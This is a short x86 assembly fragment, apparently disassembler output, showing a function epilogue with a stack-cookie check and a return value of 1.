mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100ec36e
mov esp, ebp
pop ebp
ret